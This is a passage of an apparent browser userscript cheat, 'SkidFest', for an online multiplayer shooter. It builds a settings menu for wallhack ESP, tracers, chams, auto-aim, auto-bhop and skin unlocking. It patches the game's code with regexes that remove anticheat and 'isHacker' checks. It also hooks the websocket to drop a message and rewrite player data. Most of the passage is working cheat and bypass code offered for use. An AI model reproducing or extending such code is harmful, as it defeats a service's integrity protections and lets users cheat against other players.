.bigShadowT { text-shadow: none !important; }`, hideAdverts: `#aMerger, #endAMerger { display: none !important }`, hideSocials: `.headerBarRight > .verticalSeparator, .imageButton { display: none }`, cookieButton: `#onetrust-consent-sdk { display: none !important }`, newsHolder: `#newsHolder { display: none !important }`, }; this.isProxy = Symbol("isProxy"); this.spinTimer = 1800; let wait = setInterval(_ => { this.head = document.head||document.getElementsByTagName('head')[0] if (this.head) { clearInterval(wait); Object.entries(this.css).forEach(entry => { this.css[entry[0]] = this.createElement("style", entry[1]); }) this.onLoad(); } }, 100); } canStore() { return this.isDefined(Storage); } saveVal(name, val) { if (this.canStore()) localStorage.setItem("kro_utilities_"+name, val); } deleteVal(name) { if (this.canStore()) localStorage.removeItem("kro_utilities_"+name); } getSavedVal(name) { if (this.canStore()) return localStorage.getItem("kro_utilities_"+name); return null; } isType(item, type) { return typeof item === type; } isDefined(object) { return !this.isType(object, "undefined") && object !== null; } isNative(fn) { return (/^function\s*[a-z0-9_\$]*\s*\([^)]*\)\s*\{\s*\[native code\]\s*\}/i).test('' + fn) } getStatic(s, d) { return this.isDefined(s) ? s : d } crossDomain(url) { return "https://crossorigin.me/" + url; } async waitFor(test, timeout_ms = 20000, doWhile = null) { let sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); return new Promise(async (resolve, reject) => { if (typeof timeout_ms != "number") reject("Timeout argument not a number in waitFor(selector, timeout_ms)"); let result, freq = 100; while (result === undefined || result === false || result === null || result.length === 0) { if (doWhile && doWhile instanceof Function) doWhile(); if (timeout_ms % 1000 < freq) console.log("waiting for: ", test); if ((timeout_ms -= freq) < 0) { console.log( "Timeout : ", test ); resolve(false); return; } await sleep(freq); result = typeof test === "string" ? Function(test)() : test(); } console.log("Passed : ", test); resolve(result); }); }; createSettings() { this.settings = { //Rendering showSkidBtn: { pre: "<div class='setHed'>Rendering</div>", name: "Show Skid Button", val: true, html: () => this.generateSetting("checkbox", "showSkidBtn", this), set: (value, init) => { let button = document.getElementById("mainButton"); if (!button) { button = this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu, value) } else button.style.display = value ? "inherit" : "none"; } }, hideAdverts: { name: "Hide Advertisments", val: true, html: () => this.generateSetting("checkbox", "hideAdverts", this), set: (value, init) => { if (value) this.head.appendChild(this.css.hideAdverts) else if (!init) this.css.hideAdverts.remove() } }, hideStreams: { name: "Hide Streams", val: false, html: () => this.generateSetting("checkbox", "hideStreams", this), set: (value) => { window.streamContainer.style.display = value ? "none" : "inherit" } }, hideMerch: { name: "Hide Merch", val: false, html: () => this.generateSetting("checkbox", "hideMerch", this), set: value => { window.merchHolder.style.display = value ? "none" : "inherit" } }, hideNewsConsole: { name: "Hide News Console", val: false, html: () => this.generateSetting("checkbox", "hideNewsConsole", this), set: value => { window.newsHolder.style.display = value ? "none" : "inherit" } }, hideCookieButton: { name: "Hide Security Manage Button", val: false, html: () => this.generateSetting("checkbox", "hideCookieButton", this), set: value => { window['onetrust-consent-sdk'].style.display = value ? "none" : "inherit" } }, noTextShadows: { name: "Remove Text Shadows", val: false, html: () => this.generateSetting("checkbox", "noTextShadows", this), set: (value, init) => { if (value) this.head.appendChild(this.css.noTextShadows) else if (!init) this.css.noTextShadows.remove() } }, customCSS: { name: "Custom CSS", val: "", html: () => this.generateSetting("url", "customCSS", "URL to CSS file"), resources: { css: document.createElement("link") }, set: (value, init) => { if (value.startsWith("http")&&value.endsWith(".css")) { //let proxy = 'https://cors-anywhere.herokuapp.com/'; this.settings.customCSS.resources.css.href = value } if (init) { this.settings.customCSS.resources.css.rel = "stylesheet" try { this.head.appendChild(this.settings.customCSS.resources.css) } catch(e) { alert(e) this.settings.customCSS.resources.css = null } } } }, renderESP: { name: "Player ESP Type", val: "off", html: () => this.generateSetting("select", "renderESP", this.lists.renderESP), }, renderTracers: { name: "Player Tracers", val: false, html: () => this.generateSetting("checkbox", "renderTracers"), }, rainbowColor: { name: "Rainbow ESP", val: false, html: () => this.generateSetting("checkbox", "rainbowColor"), }, renderChams: { name: "Player Chams", val: "off", html: () => this.generateSetting( "select", "renderChams", this.lists.renderChams ), }, renderWireFrame: { name: "Player Wireframe", val: false, html: () => this.generateSetting("checkbox", "renderWireFrame"), }, customBillboard: { name: "Custom Billboard Text", val: "", html: () => this.generateSetting( "text", "customBillboard", "Custom Billboard Text" ), }, //Weapon autoReload: { pre: "<br><div class='setHed'>Weapon</div>", name: "Auto Reload", val: false, html: () => this.generateSetting("checkbox", "autoReload"), }, autoAim: { name: "Auto Aim Type", val: "off", html: () => this.generateSetting("select", "autoAim", this.lists.autoAim), }, frustrumCheck: { name: "Line of Sight Check", val: false, html: () => this.generateSetting("checkbox", "frustrumCheck"), }, wallPenetrate: { name: "Aim through Penetratables", val: false, html: () => this.generateSetting("checkbox", "wallPenetrate"), }, weaponZoom: { name: "Weapon Zoom", val: 1.0, min: 0, max: 50.0, step: 0.01, html: () => this.generateSetting("slider", "weaponZoom"), set: (value) => { if (this.renderer) this.renderer.adsFovMlt = value;} }, weaponTrails: { name: "Weapon Trails", val: false, html: () => this.generateSetting("checkbox", "weaponTrails"), set: (value) => { if (this.me) this.me.weapon.trail = value;} }, //Player autoBhop: { pre: "<br><div class='setHed'>Player</div>", name: "Auto Bhop Type", val: "off", html: () => this.generateSetting("select", "autoBhop", this.lists.autoBhop), }, thirdPerson: { name: "Third Person", val: false, html: () => this.generateSetting("checkbox", "thirdPerson"), set: (value, init) => { if (value) this.thirdPerson = 1; else if (!init) this.thirdPerson = undefined; } }, skinUnlock: { name: "Unlock Skins", val: false, html: () => this.generateSetting("checkbox", "skinUnlock", this), }, //GamePlay disableWpnSnd: { pre: "<br><div class='setHed'>GamePlay</div>", name: "Disable Players Weapon Sounds", val: false, html: () => this.generateSetting("checkbox", "disableWpnSnd", this), }, disableHckSnd: { name: "Disable Hacker Fart Sounds", val: false, html: () => this.generateSetting("checkbox", "disableHckSnd", this), }, autoActivateNuke: { name: "Auto Activate Nuke", val: false, html: () => this.generateSetting("checkbox", "autoActivateNuke", this), }, autoFindNew: { name: "New Lobby Finder", val: false, html: () => this.generateSetting("checkbox", "autoFindNew", this), }, autoClick: { name: "Auto Start Game", val: false, html: () => this.generateSetting("checkbox", "autoClick", this), }, inActivity: { name: "No InActivity Kick", val: true, html: () => this.generateSetting("checkbox", "autoClick", this), }, //Radio Stream Player playStream: { pre: "<br><div class='setHed'>Radio Stream Player</div>", name: "Stream Select", val: "off", html: () => this.generateSetting("select", "playStream", this.lists.audioStreams), set: (value) => { if (value == "off") { if ( this.settings.playStream.audio ) { this.settings.playStream.audio.pause(); this.settings.playStream.audio.currentTime = 0; this.settings.playStream.audio = null; } return; } let url = this.settings.playStream.urls[value]; if (!this.settings.playStream.audio) { this.settings.playStream.audio = new Audio(url); this.settings.playStream.audio.volume = this.settings.audioVolume.val||0.5 } else { this.settings.playStream.audio.src = url; } this.settings.playStream.audio.load(); this.settings.playStream.audio.play(); }, urls: { _2000s: 'http://0n-2000s.radionetz.de/0n-2000s.aac', _HipHopRNB: 'https://stream-mixtape-geo.ntslive.net/mixtape2', _Country: 'https://live.wostreaming.net/direct/wboc-waaifmmp3-ibc2', _Dance: 'http://streaming.radionomy.com/A-RADIO-TOP-40', _Pop: 'http://bigrradio.cdnstream1.com/5106_128', _Jazz: 'http://strm112.1.fm/ajazz_mobile_mp3', _Oldies: 'http://strm112.1.fm/60s_70s_mobile_mp3', _Club: 'http://strm112.1.fm/club_mobile_mp3', _Folk: 'https://freshgrass.streamguys1.com/irish-128mp3', _ClassicRock: 'http://1a-classicrock.radionetz.de/1a-classicrock.mp3', _Metal: 'http://streams.radiobob.de/metalcore/mp3-192', _DeathMetal: 'http://stream.laut.fm/beatdownx', _Classical: 'http://live-radio01.mediahubaustralia.com/FM2W/aac/', _Alternative: 'http://bigrradio.cdnstream1.com/5187_128', _Dubstep: 'http://streaming.radionomy.com/R1Dubstep?lang=en', _Lowfi: 'http://streams.fluxfm.de/Chillhop/mp3-256', _Oldskool: 'http://streams.90s90s.de/hiphop/mp3-128/', }, audio: null, }, audioVolume: { name: "Radio Volume", val: 0.5, min: 0, max: 1, step: 0.01, html: () => this.generateSetting("slider", "audioVolume"), set: (value) => { if (this.settings.playStream.audio) this.settings.playStream.audio.volume = value;} }, }; // Inject Html let waitForWindows = setInterval(_ => { if (window.windows) { const menu = window.windows[11]; menu.header = "Settings"; menu.gen = _ => { var tmpHTML = `<div style='text-align:center'> <a onclick='window.open("https://skidlamer.github.io/")' class='menuLink'>SkidFest Settings</center></a> <hr> </div>`; for (const key in this.settings) { if (this.settings[key].pre) tmpHTML += this.settings[key].pre; tmpHTML += "<div class='settName' id='" + key + "_div' style='display:" + (this.settings[key].hide ? 'none' : 'block') + "'>" + this.settings[key].name + " " + this.settings[key].html() + "</div>"; } tmpHTML += `<br><hr><a onclick='${skidStr}.resetSettings()' class='menuLink'>Reset Settings</a> | <a onclick='${skidStr}.saveScript()' class='menuLink'>Save GameScript</a>` return tmpHTML; }; clearInterval(waitForWindows); //this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu) } }, 100); // setupSettings for (const key in this.settings) { this.settings[key].def = this.settings[key].val; if (!this.settings[key].disabled) { let tmpVal = this.getSavedVal(key); this.settings[key].val = tmpVal !== null ? tmpVal : this.settings[key].val; if (this.settings[key].val == "false") this.settings[key].val = false; if (this.settings[key].val == "true") this.settings[key].val = true; if (this.settings[key].val == "undefined") this.settings[key].val = this.settings[key].def; if (this.settings[key].set) this.settings[key].set(this.settings[key].val, true); } } } generateSetting(type, name, extra) { switch (type) { case 'checkbox': return `<label class="switch"><input type="checkbox" onclick="${skidStr}.setSetting('${name}', this.checked)" ${this.settings[name].val ? 'checked' : ''}><span class="slider"></span></label>`; case 'slider': return `<span class='sliderVal' id='slid_utilities_${name}'>${this.settings[name].val}</span><div class='slidecontainer'><input type='range' min='${this.settings[name].min}' max='${this.settings[name].max}' step='${this.settings[name].step}' value='${this.settings[name].val}' class='sliderM' oninput="${skidStr}.setSetting('${name}', this.value)"></div>` case 'select': { let temp = `<select onchange="${skidStr}.setSetting(\x27${name}\x27, this.value)" class="inputGrey2">`; for (let option in extra) { temp += '<option value="' + option + '" ' + (option == this.settings[name].val ? 'selected' : '') + '>' + extra[option] + '</option>'; } temp += '</select>'; return temp; } default: return `<input type="${type}" name="${type}" id="slid_utilities_${name}"\n${'color' == type ? 'style="float:right;margin-top:5px"' : `class="inputGrey2" placeholder="${extra}"`}\nvalue="${this.settings[name].val}" oninput="${skidStr}.setSetting(\x27${name}\x27, this.value)"/>`; } } resetSettings() { if (confirm("Are you sure you want to reset all your settings? This will also refresh the page")) { Object.keys(localStorage).filter(x => x.includes("kro_utilities_")).forEach(x => localStorage.removeItem(x)); location.reload(); } } setSetting(t, e) { this.settings[t].val = e; this.saveVal(t, e); if (document.getElementById(`slid_utilities_${t}`)) document.getElementById(`slid_utilities_${t}`).innerHTML = e; if (this.settings[t].set) this.settings[t].set(e); } createObserver(elm, check, callback, onshow = true) { return new MutationObserver((mutationsList, observer) => { if (check == 'src' || onshow && mutationsList[0].target.style.display == 'block' || !onshow) { callback(mutationsList[0].target); } }).observe(elm, check == 'childList' ? {childList: true} : {attributes: true, attributeFilter: [check]}); } createListener(elm, type, callback = null) { if (!this.isDefined(elm)) { alert("Failed creating " + type + "listener"); return } elm.addEventListener(type, event => callback(event)); } createElement(element, attribute, inner) { if (!this.isDefined(element)) { return null; } if (!this.isDefined(inner)) { inner = ""; } let el = document.createElement(element); if (this.isType(attribute, 'object')) { for (let key in attribute) { el.setAttribute(key, attribute[key]); } } if (!Array.isArray(inner)) { inner = [inner]; } for (let i = 0; i < inner.length; i++) { if (inner[i].tagName) { el.appendChild(inner[i]); } else { el.appendChild(document.createTextNode(inner[i])); } } return el; } createButton(name, iconURL, fn, visible) { visible = visible ? "inherit":"none"; let menu = document.querySelector("#menuItemContainer"); let icon = this.createElement("div",{"class":"menuItemIcon", "style":`background-image:url("${iconURL}");display:inherit;`}); let title= this.createElement("div",{"class":"menuItemTitle", "style":`display:inherit;`}, name); let host = this.createElement("div",{"id":"mainButton", "class":"menuItem", "onmouseenter":"playTick()", "onclick":"showWindow(12)", "style":`display:${visible};`},[icon, title]); if (menu) menu.append(host) } objectHas(obj, arr) { return arr.some(prop => obj.hasOwnProperty(prop)); } getVersion() { const elems = document.getElementsByClassName('terms'); const version = elems[elems.length - 1].innerText; return version; } saveAs(name, data) { let blob = new Blob([data], {type: 'text/plain'}); let el = window.document.createElement("a"); el.href = window.URL.createObjectURL(blob); el.download = name; window.document.body.appendChild(el); el.click(); window.document.body.removeChild(el); } saveScript() { this.fetchScript().then(script => { this.saveAs("game_" + this.getVersion() + ".js", script) }) } isKeyDown(key) { return this.downKeys.has(key); } simulateKey(keyCode) { var oEvent = document.createEvent('KeyboardEvent'); // Chromium Hack Object.defineProperty(oEvent, 'keyCode', { get : function() { return this.keyCodeVal; } }); Object.defineProperty(oEvent, 'which', { get : function() { return this.keyCodeVal; } }); if (oEvent.initKeyboardEvent) { oEvent.initKeyboardEvent("keypress", true, true, document.defaultView, keyCode, keyCode, "", "", false, ""); } else { oEvent.initKeyEvent("keypress", true, true, document.defaultView, false, false, false, false, keyCode, 0); } oEvent.keyCodeVal = keyCode; if (oEvent.keyCode !== keyCode) { alert("keyCode mismatch " + oEvent.keyCode + "(" + oEvent.which + ")"); } document.body.dispatchEvent(oEvent); } toggleMenu() { let lock = document.pointerLockElement || document.mozPointerLockElement; if (lock) document.exitPointerLock(); window.showWindow(12); if (this.isDefined(window.SOUND)) window.SOUND.play(`tick_0`,0.1) } onLoad() { this.createSettings(); this.createObservers(); this.waitFor(_=>this.isDefined(this.exports)).then(_=> { if (!this.isDefined(this.exports)) { alert("This Mod Needs To Be Updated Please Try Agian Later"); return; } //console.dir(this.exports); let toFind = { overlay: ["render", "canvas"], config: ["accAnnounce", "availableRegions", "assetCat"], three: ["ACESFilmicToneMapping", "TextureLoader", "ObjectLoader"], ws: ["socketReady", "ingressPacketCount", "ingressPacketCount", "egressDataSize"], utility: ["VectorAdd", "VectorAngleSign"], //colors: ["challLvl", "getChallCol"], //ui: ["showEndScreen", "toggleControlUI", "toggleEndScreen", "updatePlayInstructions"], //events: ["actions", "events"], } for (let rootKey in this.exports) { let exp = this.exports[rootKey].exports; for (let name in toFind) { if (this.objectHas(exp, toFind[name])) { console.log("Found Export ", name); delete toFind[name]; this[name] = exp; } } } if (!(Object.keys(toFind).length === 0 && toFind.constructor === Object)) { for (let name in toFind) { alert("Failed To Find Export " + name); } } else { Object.defineProperty(this.config, "nameVisRate", { value: 0, writable: false, configurable: true, }) this.ctx = this.overlay.canvas.getContext('2d'); this.overlay.render = new Proxy(this.overlay.render, { apply: function(target, that, args) { return [target.apply(that, args), render.apply(that, args)] } }) function render(scale, game, controls, renderer, me) { let width = skid.overlay.canvas.width / scale; let height = skid.overlay.canvas.height / scale; const renderArgs = [scale, game, controls, renderer, me]; if (renderArgs && void 0 !== skid) { ["scale", "game", "controls", "renderer", "me"].forEach((item, index)=>{ skid[item] = renderArgs[index]; }); if (me) { skid.ctx.save(); skid.ctx.scale(scale, scale); //this.ctx.clearRect(0, 0, width, height); skid.onRender(); //window.requestAnimationFrame.call(window, renderArgs.callee.caller.bind(this)); skid.ctx.restore(); } if(skid.settings && skid.settings.autoClick.val && window.endUI.style.display == "none" && window.windowHolder.style.display == "none") { controls.toggle(true); } } } // Skins const $skins = Symbol("skins"); Object.defineProperty(Object.prototype, "skins", { set: function(fn) { this[$skins] = fn; if (void 0 == this.localSkins || !this.localSkins.length) { this.localSkins = Array.apply(null, Array(5e3)).map((x, i) => { return { ind: i, cnt: 0x1, } }) } return fn; }, get: function() { return skid.settings.skinUnlock.val && this.stats ? this.localSkins : this[$skins]; } }) this.waitFor(_=>this.ws.connected === true, 40000).then(_=> { this.ws.__event = this.ws._dispatchEvent.bind(this.ws); this.ws.__send = this.ws.send.bind(this.ws); this.ws.send = new Proxy(this.ws.send, { apply: function(target, that, args) { if (args[0] == "ah2") return; try { var original_fn = Function.prototype.apply.apply(target, [that, args]); } catch (e) { e.stack = e.stack = e.stack.replace(/\n.*Object\.apply.*/, ''); throw e; } if (args[0] === "en") { skid.skinCache = { main: args[1][2][0], secondary: args[1][2][1], hat: args[1][3], body: args[1][4], knife: args[1][9], dye: args[1][14], waist: args[1][17], } } return original_fn; } }) this.ws._dispatchEvent = new Proxy(this.ws._dispatchEvent, { apply: function(target, that, [type, event]) { if (type =="init") { if(event[10] && event[10].length && event[10].bill && skid.settings.customBillboard.val.length > 1) { event[10].bill.txt = skid.settings.customBillboard.val; } } if (skid.settings.skinUnlock.val && skid.skinCache && type === "0") { let skins = skid.skinCache; let pInfo = event[0]; let pSize = 38; while (pInfo.length % pSize !== 0) pSize++; for(let i = 0; i < pInfo.length; i += pSize) { if (pInfo[i] === skid.ws.socketId||0) { pInfo[i + 12] = [skins.main, skins.secondary]; pInfo[i + 13] = skins.hat; pInfo[i + 14] = skins.body; pInfo[i + 19] = skins.knife; pInfo[i + 24] = skins.dye; pInfo[i + 33] = skins.waist; } } } return target.apply(that, arguments[2]); } }) }) if (this.isDefined(window.SOUND)) { window.SOUND.play = new Proxy(window.SOUND.play, { apply: function(target, that, [src, vol, loop, rate]) { if ( src.startsWith("fart_") && skid.settings.disableHckSnd.val ) return; return target.apply(that, [src, vol, loop, rate]); } }) } AudioParam.prototype.setValueAtTime = new Proxy(AudioParam.prototype.setValueAtTime, { apply: function(target, that, [value, startTime]) { return target.apply(that, [value, 0]); } }) this.rayC = new this.three.Raycaster(); this.vec2 = new this.three.Vector2(0, 0); } }) } gameJS(script) { let entries = { // Deobfu inView: { regex: /(\w+\['(\w+)']\){if\(\(\w+=\w+\['\w+']\['position']\['clone']\(\))/, index: 2 }, spectating: { regex: /\['team']:window\['(\w+)']/, index: 1 }, //inView: { regex: /\]\)continue;if\(!\w+\['(.+?)\']\)continue;/, index: 1 }, //canSee: { regex: /\w+\['(\w+)']\(\w+,\w+\['x'],\w+\['y'],\w+\['z']\)\)&&/, index: 1 }, //procInputs: { regex: /this\['(\w+)']=function\((\w+),(\w+),\w+,\w+\){(this)\['recon']/, index: 1 }, aimVal: { regex: /this\['(\w+)']-=0x1\/\(this\['weapon']\['\w+']\/\w+\)/, index: 1 }, pchObjc: { regex: /0x0,this\['(\w+)']=new \w+\['Object3D']\(\),this/, index: 1 }, didShoot: { regex: /--,\w+\['(\w+)']=!0x0/, index: 1 }, nAuto: { regex: /'Single\\x20Fire','varN':'(\w+)'/, index: 1 }, crouchVal: { regex: /this\['(\w+)']\+=\w\['\w+']\*\w+,0x1<=this\['\w+']/, index: 1 }, recoilAnimY: { regex: /\+\(-Math\['PI']\/0x4\*\w+\+\w+\['(\w+)']\*\w+\['\w+']\)\+/, index: 1 }, //recoilAnimY: { regex: /this\['recoilAnim']=0x0,this\[(.*?\(''\))]/, index: 1 }, ammos: { regex: /\['length'];for\(\w+=0x0;\w+<\w+\['(\w+)']\['length']/, index: 1 }, weaponIndex: { regex: /\['weaponConfig']\[\w+]\['secondary']&&\(\w+\['(\w+)']==\w+/, index: 1 }, isYou: { regex: /0x0,this\['(\w+)']=\w+,this\['\w+']=!0x0,this\['inputs']/, index: 1 }, objInstances: { regex: /\w+\['\w+']\(0x0,0x0,0x0\);if\(\w+\['(\w+)']=\w+\['\w+']/, index: 1 }, getWorldPosition: { regex: /{\w+=\w+\['camera']\['(\w+)']\(\);/, index: 1 }, //mouseDownL: { regex: /this\['\w+'\]=function\(\){this\['(\w+)'\]=\w*0,this\['(\w+)'\]=\w*0,this\['\w+'\]={}/, index: 1 }, mouseDownR: { regex: /this\['(\w+)']=0x0,this\['keys']=/, index: 1 }, //reloadTimer: { regex: /this\['(\w+)']&&\(\w+\['\w+']\(this\),\w+\['\w+']\(this\)/, index: 1 }, maxHealth: { regex: /this\['health']\/this\['(\w+)']\?/, index: 1 }, xDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['xDir2']/, index: 1 }, yDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['yDir2']/, index: 1 }, //xVel: { regex: /this\['x']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedX']/, index: 1 }, yVel: { regex: /this\['y']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedY']/, index: 1 }, //zVel: { regex: /this\['z']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedZ']/, index: 1 }, // Patches exports: {regex: /(this\['\w+']\['\w+']\(this\);};},function\(\w+,\w+,(\w+)\){)/, patch: `$1 ${skidStr}.exports=$2.c; ${skidStr}.modules=$2.m;`}, inputs: {regex: /(\w+\['\w+']\[\w+\['\w+']\['\w+']\?'\w+':'push']\()(\w+)\),/, patch: `$1${skidStr}.onInput($2)),`}, inView: {regex: /&&(\w+\['\w+'])\){(if\(\(\w+=\w+\['\w+']\['\w+']\['\w+'])/, patch: `){if(!$1&&void 0 !== ${skidStr}.nameTags)continue;$2`}, thirdPerson:{regex: /(\w+)\[\'config\'\]\[\'thirdPerson\'\]/g, patch: `void 0 !== ${skidStr}.thirdPerson`}, isHacker:{regex: /(window\['\w+']=)!0x0\)/, patch: `$1!0x1)`}, fixHowler:{regex: /(Howler\['orientation'](.+?)\)\),)/, patch: ``}, respawnT:{regex: /'\w+':0x3e8\*/g, patch: `'respawnT':0x0*`}, anticheat1:{regex: /&&\w+\(\),window\['utilities']&&\(\w+\(null,null,null,!0x0\),\w+\(\)\)/, patch: ""}, anticheat2:{regex: /(\[]instanceof Array;).*?(var)/, patch: "$1 $2"}, anticheat3:{regex: /windows\['length'\]>\d+.*?0x25/, patch: `0x25`}, commandline:{regex: /Object\['defineProperty']\(console.*?\),/, patch: ""}, writeable:{regex: /'writeable':!0x1/g, patch: "writeable:true"}, configurable:{regex: /'configurable':!0x1/g, patch: "configurable:true"}, typeError:{regex: /throw new TypeError/g, patch: "console.error"}, error:{regex: /throw new Error/g, patch: "console.error"}, }; for(let name in entries) { let object = entries[name]; let found = object.regex.exec(script); if (object.hasOwnProperty('index')) { if (!found) { object.val = null; alert("Failed to Find " + name); } else { object.val = found[object.index]; console.log ("Found ", name, ":", object.val); } Object.defineProperty(skid.vars, name, { configurable: false, value: object.val }); } else if (found) { script = script.replace(object.regex, object.patch); console.log ("Patched ", name); } else alert("Failed to Patch " + name); } return script; } createObservers() { this.createObserver(window.instructionsUpdate, 'style', (target) => { if (this.settings.autoFindNew.val) { console.log(target) if (['Kicked', 'Banned', 'Disconnected', 'Error', 'Game is full'].some(text => target && target.innerHTML.includes(text))) { location = document.location.origin; } } }); this.createListener(document, "keyup", event => { if (this.downKeys.has(event.code)) this.downKeys.delete(event.code) }) this.createListener(document, "keydown", event => { if (event.code == "F1") { event.preventDefault(); this.toggleMenu(); } if ('INPUT' == document.activeElement.tagName || !window.endUI && window.endUI.style.display) return; switch (event.code) { case 'NumpadSubtract': document.exitPointerLock(); //console.log(document.exitPointerLock) console.dirxml(this) break; default: if (!this.downKeys.has(event.code)) this.downKeys.add(event.code); break; } }) this.createListener(document, "mouseup", event => { switch (event.button) { case 1: event.preventDefault(); this.toggleMenu(); break; default: break; } }) } onRender() { /* hrt / ttap - https://github.com/hrt */ this.renderFrame ++; if (this.renderFrame >= 100000) this.renderFrame = 0; let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; let playerScale = (2 * this.consts.armScale + this.consts.chestWidth + this.consts.armInset) / 2 let worldPosition = this.renderer.camera[this.vars.getWorldPosition](); let espVal = this.settings.renderESP.val; if (espVal ==="walls"||espVal ==="twoD") this.nameTags = undefined; else this.nameTags = true; if (this.settings.autoActivateNuke.val && this.me && Object.keys(this.me.streaks).length) { /*chonker*/ this.ws.__send("k", 0); } if (espVal !== "off") { this.overlay.healthColE = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656"; } for (let iter = 0, length = this.game.players.list.length; iter < length; iter++) { let player = this.game.players.list[iter]; if (player[this.vars.isYou] || !player.active || !this.isDefined(player[this.vars.objInstances]) || this.getIsFriendly(player)) { continue; } // the below variables correspond to the 2d box esps corners let xmin = Infinity; let xmax = -Infinity; let ymin = Infinity; let ymax = -Infinity; let position = null; let br = false; for (let j = -1; !br && j < 2; j+=2) { for (let k = -1; !br && k < 2; k+=2) { for (let l = 0; !br && l < 2; l++) { if (position = player[this.vars.objInstances].position.clone()) { position.x += j * playerScale; position.z += k * playerScale; position.y += l * (player.height - player[this.vars.crouchVal] * this.consts.crouchDst); if (!this.containsPoint(position)) { br = true; break; } position.project(this.renderer.camera); xmin = Math.min(xmin, position.x); xmax = Math.max(xmax, position.x); ymin = Math.min(ymin, position.y); ymax = Math.max(ymax, position.y); } } } } if (br) { continue; } xmin = (xmin + 1) / 2; ymin = (ymin + 1) / 2; xmax = (xmax + 1) / 2; ymax = (ymax + 1) / 2; // save and restore these variables later so they got nothing on us const original_strokeStyle = this.ctx.strokeStyle; const original_lineWidth = this.ctx.lineWidth; const original_font = this.ctx.font; const original_fillStyle = this.ctx.fillStyle; //Tracers if (this.settings.renderTracers.val) { CRC2d.save.apply(this.ctx, []); let screenPos = this.world2Screen(player[this.vars.objInstances].position); this.ctx.lineWidth = 4.5; this.ctx.beginPath(); this.ctx.moveTo(this.ctx.canvas.width/2, this.ctx.canvas.height - (this.ctx.canvas.height - scaledHeight)); this.ctx.lineTo(screenPos.x, screenPos.y); this.ctx.strokeStyle = "rgba(0, 0, 0, 0.25)"; this.ctx.stroke(); this.ctx.lineWidth = 2.5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" this.ctx.stroke(); CRC2d.restore.apply(this.ctx, []); } CRC2d.save.apply(this.ctx, []); if (espVal == "twoD" || espVal == "full") { // perfect box esp this.ctx.lineWidth = 5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" let distanceScale = Math.max(.3, 1 - this.getD3D(worldPosition.x, worldPosition.y, worldPosition.z, player.x, player.y, player.z) / 600); CRC2d.scale.apply(this.ctx, [distanceScale, distanceScale]); let xScale = scaledWidth / distanceScale; let yScale = scaledHeight / distanceScale; CRC2d.beginPath.apply(this.ctx, []); ymin = yScale * (1 - ymin); ymax = yScale * (1 - ymax); xmin = xScale * xmin; xmax = xScale * xmax; CRC2d.moveTo.apply(this.ctx, [xmin, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymax]); CRC2d.lineTo.apply(this.ctx, [xmax, ymax]); CRC2d.lineTo.apply(this.ctx, [xmax, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymin]); CRC2d.stroke.apply(this.ctx, []); if (espVal == "full") { // health bar this.ctx.fillStyle = "#000000"; let barMaxHeight = ymax - ymin; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight]); this.ctx.fillStyle = player.health > 75 ? "green" : player.health > 40 ? "orange" : "red"; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight * (player.health / player[this.vars.maxHealth])]); // info this.ctx.font = "48px Sans-serif"; this.ctx.fillStyle = "white"; this.ctx.strokeStyle='black'; this.ctx.lineWidth = 1; let x = xmax + 7; let y = ymax; CRC2d.fillText.apply(this.ctx, [player.name||player.alias, x, y]); CRC2d.strokeText.apply(this.ctx, [player.name||player.alias, x, y]); this.ctx.font = "30px Sans-serif"; y += 35; CRC2d.fillText.apply(this.ctx, [player.weapon.name, x, y]); CRC2d.strokeText.apply(this.ctx, [player.weapon.name, x, y]); y += 35; CRC2d.fillText.apply(this.ctx, [player.health + ' HP', x, y]); CRC2d.strokeText.apply(this.ctx, [player.health + ' HP', x, y]); } } CRC2d.restore.apply(this.ctx, []); this.ctx.strokeStyle = original_strokeStyle; this.ctx.lineWidth = original_lineWidth; this.ctx.font = original_font; this.ctx.fillStyle = original_fillStyle; // skelly chams if (this.isDefined(player[this.vars.objInstances])) { let obj = player[this.vars.objInstances]; if (!obj.visible) { Object.defineProperty(player[this.vars.objInstances], 'visible', { value: true, writable: false }); } obj.traverse((child) => { let chamColor = this.settings.renderChams.val; let chamsEnabled = chamColor !== "off"; if (child && child.type == "Mesh" && child.material) { child.material.depthTest = chamsEnabled ? false : true; //if (this.isDefined(child.material.fog)) child.material.fog = chamsEnabled ? false : true; if (child.material.emissive) { child.material.emissive.r = chamColor == 'off' || chamColor == 'teal' || chamColor == 'green' || chamColor == 'blue' ? 0 : 0.55; child.material.emissive.g = chamColor == 'off' || chamColor == 'purple' || chamColor == 'blue' || chamColor == 'red' ? 0 : 0.55; child.material.emissive.b = chamColor == 'off' || chamColor == 'yellow' || chamColor == 'green' || chamColor == 'red' ? 0 : 0.55; } child.material.wireframe = this.settings.renderWireFrame.val ? true : false } }) } } } spinTick(input) { //this.game.players.getSpin(this.self); //this.game.players.saveSpin(this.self, angle); const angle = this.getAngleDst(input[2], this.me[this.vars.xDire]); this.spins = this.getStatic(this.spins, new Array()); this.spinTimer = this.getStatic(this.spinTimer, this.config.spinTimer); this.serverTickRate = this.getStatic(this.serverTickRate, this.config.serverTickRate); (this.spins.unshift(angle), this.spins.length > this.spinTimer / this.serverTickRate && (this.spins.length = Math.round(this.spinTimer / this.serverTickRate))) for (var e = 0, i = 0; i < this.spins.length; ++i) e += this.spins[i]; return Math.abs(e * (180 / Math.PI)); } raidBot(input) { let target = this.game.AI.ais.filter(enemy => { return undefined !== enemy.mesh && enemy.mesh && enemy.mesh.children[0] && enemy.canBSeen && enemy.health > 0 }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) 